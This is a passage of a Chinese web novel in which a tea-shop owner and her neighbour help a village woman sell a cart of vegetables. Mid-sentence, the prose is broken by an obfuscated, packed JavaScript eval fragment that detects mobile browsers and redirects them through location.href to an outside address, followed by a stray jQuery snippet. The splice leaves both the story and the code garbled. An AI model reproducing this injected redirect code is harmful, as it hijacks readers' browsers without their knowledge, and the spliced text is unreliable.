细姑笑着对她点点头,然后对庆嫂道:“嫂子有门路?” “嗨!周围这片谁家不吃菜?”庆嫂笑道,“外面菜店,菜摊上也就青菜萝卜便宜点,两文钱一斤,旁的都贵,只要霜妹子卖得比外面便宜一点,给点搭头,我帮你去给周围的人家说一声,包你不出半天,全卖出去!” 庆嫂是这一片妇人里面的头头,她说的话,细姑是信服的。 “你卖给镖行里是多少钱?”细姑问白霜。 “一文钱一斤!” 这价就太低了。 细姑听完赶忙补道:“镖行里都是自己赶车上门拉菜,今天这是我妹子自己送来的,过城门还得交一遍入城税呢!” 城里摆摊,都要交税,少则一日十文八文,多的一日二十文钱也不在少数,所以无论什么东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632062|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都比城外要贵上许多。 “啪!”庆嫂两手一拍,“你听我的,也不用你添搭头,你就两斤三文钱的卖!大家都不亏!” 细姑按照庆嫂说的算了一下,这一车菜如果都能卖出去,大约就是三百五十文钱上下,她问白霜:“大概能卖个三百来个铜板,你觉得怎么样?” 白霜忙点头,“可以的!可以的!” 事情就这么说定了。 “茶老板!来碗茶!”铺子里有声音传过后面来。 细姑大声回道:“客人坐一坐,我就来!” 转过身来,细姑让白霜先去堂屋里歇一会儿。 白霜道:“大姐,你去忙,我正好拿个凳儿来把菜挑挑!” 细姑,“好好好!”旋即又给了庆嫂四十个铜板,“嫂子,你去帮我买点肉,买点豆腐,你家里要是还有鱼,也拿了一条来,帮我做顿好的,我这妹子第一次上我这门!” “晓得!晓得!你前头招呼客人去!”庆嫂接过钱,对白霜道:“霜妹子,你把菜拿出来分分好,我买了菜,回来路上就把人都叫过来!” “好!”白霜感激地点头。 开铺子就是这样,要么半天没客人,要么客人就是一蜂窝地来。细姑在前面铺子里,一会儿招呼了十几位客人。 等她好容易歇口气,转到院子里面一看——嚯!这附近有名有姓的当家妇人有一半都在这里。 她们或是挎着篮子或是拽着口袋,围了一圈,你商我量,这个递一把菜,那个分几根萝卜,根本不用白霜招呼,连称菜的秤杆子都是她们自己带的。 “白娘子,庆嫂说你你这菜是三文钱两斤?”她们分好了菜问白霜。 白霜忙点头,“是是是!” “那就好!” 当家的女人对钱账、分量都极为精熟,白霜的菜便宜又实在,不像那城里卖菜的,又贵,还总是在菜上洒水压秤。 她们不满很久了! 是以称完了分量,算好价,一个个十分痛快地把钱都付了。 临去前她们还问,“白娘子,你下次不论什么时候来,一定让庆嫂去叫我们!” 细姑送这群满载而归的女人出院门,回到井边,白霜和庆嫂在择菜、洗菜。 “大家都买这么多?不少钱吧?”细姑闲聊道。 斜西街、梭子街这一片多少都是有点手艺的人家,日子都还过得。 庆嫂在淘洗大米,“茶老板自己不买菜?” “家里的米菜都是丽娘买的,我就给钱。”丽娘很嫌弃细姑买东西不讲价的行为,所以不让细姑买米买菜。 “怪不得!”庆嫂端起生米沥水,“你改天去买个菜就晓得了!” 说完庆嫂带着米菜去了厨房。 庆嫂做好了饭菜,拒绝了细姑留她吃饭的好意,“我一家人还在家里等着,跑你这儿吃什么饭!你要是想谢我,就把你那半罐腌苦瓜送我了!” 腌苦瓜是七月十六那天白霜送的,腌得极好,酸脆里面带点咸鲜味儿。 细姑舍不得都给她,“我分你一半!” “也行!”庆嫂目的达到,笑眯眯地应了。 庆嫂既介绍了买菜的,自己又照价买了二十来斤的鲜菜,白霜真心要谢她,干脆对二人说道:“我家里还有,下次来,多带两罐,嫂子和大姐都有!” 庆嫂一手拎着菜篮子,一手端着装有腌黄瓜的碗,听了这话,大喜,“那多谢霜妹子了!” 白霜吃过饭就推着空车走了。 “我家里老的老,小的小,我不回去不放心!”她这样说道。 细姑没留她,给她灌了一小茶壶水,让她带着路上喝,“你把钱揣好,路上稳当点!” “晓得了!”白霜的语气和脚步都很轻快。